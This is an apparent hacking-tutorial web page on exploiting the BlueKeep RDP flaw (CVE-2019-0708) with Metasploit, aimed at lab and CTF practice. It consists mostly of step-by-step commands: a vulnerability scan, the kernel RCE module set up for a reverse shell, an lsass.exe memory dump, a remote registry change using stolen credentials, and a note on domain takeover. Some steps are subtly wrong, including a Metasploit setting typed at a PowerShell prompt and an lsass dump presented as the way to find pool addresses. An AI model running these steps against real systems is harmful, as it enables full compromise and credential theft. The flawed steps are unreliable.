Skip to content
HackIndex logo

HackIndex

BlueKeep CVE-2019-0708 – Unauthenticated RDP RCE

3 min read May 15, 2026

BlueKeep is a use-after-free in termdd.sys triggered by binding a client-controlled virtual channel named MS_T120 — a channel the RDP server also uses internally. The resulting dangling pointer allows controlled kernel pool manipulation and arbitrary code execution without any authentication.

Affects Windows XP, 2003, Vista, 7, and Server 2008/2008 R2. Patched in May 2019 (KB4499175 for Windows 7). Appears regularly in OSCP labs and CTFs on older Windows machines. The primary public exploit is the Metasploit module, which is the most stable option available.

Confirming Vulnerability

Safe detection methodology is covered in RDP Known Vulnerability Detection. The Metasploit auxiliary scanner is the standard check:

┌──(kali㉿kali)-[~]
└─$ msfconsole -q -x "use auxiliary/scanner/rdp/cve_2019_0708_bluekeep; set RHOSTS $TARGET_IP; run; exit"

Or use the Metasploit scanner:

msf6 > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
msf6 > set RHOSTS $TARGET_IP
msf6 > run 
[+] 10.10.10.10:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.

Exploitation with Metasploit

The Metasploit module is rated Manual — it requires GROOMBASE to be set correctly for the target environment, otherwise it causes a BSOD instead of a shell. Automatic targeting works for basic cases but tuning improves reliability.

msf6 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf6 > set RHOSTS $TARGET_IP
msf6 > set LHOST $LHOST
msf6 > set LPORT $LPORT
msf6 > set TARGET 1
msf6 > run

Target options:

  • 0 — Automatic fingerprinting (attempts to detect, unreliable)

  • 1 — Windows 7 SP1 / Server 2008 R2 (VMware)

  • 2 — Windows 7 SP1 / Server 2008 R2 (Hyper-V)

  • 3 — Windows 7 SP1 / Server 2008 R2 (VirtualBox 6)

  • 4 — Windows 7 SP1 / Server 2008 R2 (Bare metal)

If the target is a CTF/lab VM, start with VMware (1) then try VirtualBox (3) and Hyper-V (2) if you get BSODs.

Tuning GROOMBASE for Reliability

The exploit requires GROOMBASE — the Non-Paged Pool (NPP) start address for the target. An incorrect value causes a kernel crash. For lab VMs, the default values per target preset are often close enough. For bare metal or unusual configurations, extract the NPP start address from a memory dump.

Dump memory via a remote method (requires a prior low-privilege shell or WinRM access):

PS C:\Users\Guest\Desktop> procdump.exe -ma lsass.exe lsass.dmp

Or from a Meterpreter session:

msf6 > run post/windows/gather/memory_dump

Then extract the NPP start address using Rekall or Volatility:

┌──(kali㉿kali)-[~]
└─$ docker run --rm -it -v ~/dump:/home/nonroot/files remnux/rekall bash
┌──(kali㉿kali)-[~]
└─$ rekall -f /home/nonroot/files/dump.mem windows_pte

Look for NPP Start in the output. Set it in the Metasploit module:

set GROOMBASE 0xfffffa8001800000

GROOMSIZE Tuning

GROOMSIZE controls the amount of kernel pool memory sprayed. The default is often too low for targets with more than 1GB RAM. Increase it:

PS C:\Users\Guest\Desktop> set GROOMSIZE 50

Try values between 30 and 100 if the exploit runs but does not produce a shell or causes a BSOD.

Windows Server 2008 R2 Extra Requirement

Server 2008 R2 requires the following registry key to be set to 0 for the RDPSND channel to work, which the exploit uses for heap grooming:

HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\fDisableCam

Set it remotely if you have another access path:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -x "reg add HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp /v fDisableCam /t REG_DWORD /d 0 /f"

What You Get

BlueKeep executes in kernel context — the resulting shell runs as NT AUTHORITY\SYSTEM. On a standalone host this is full compromise. On a DC this means immediate domain takeover via secretsdump.

References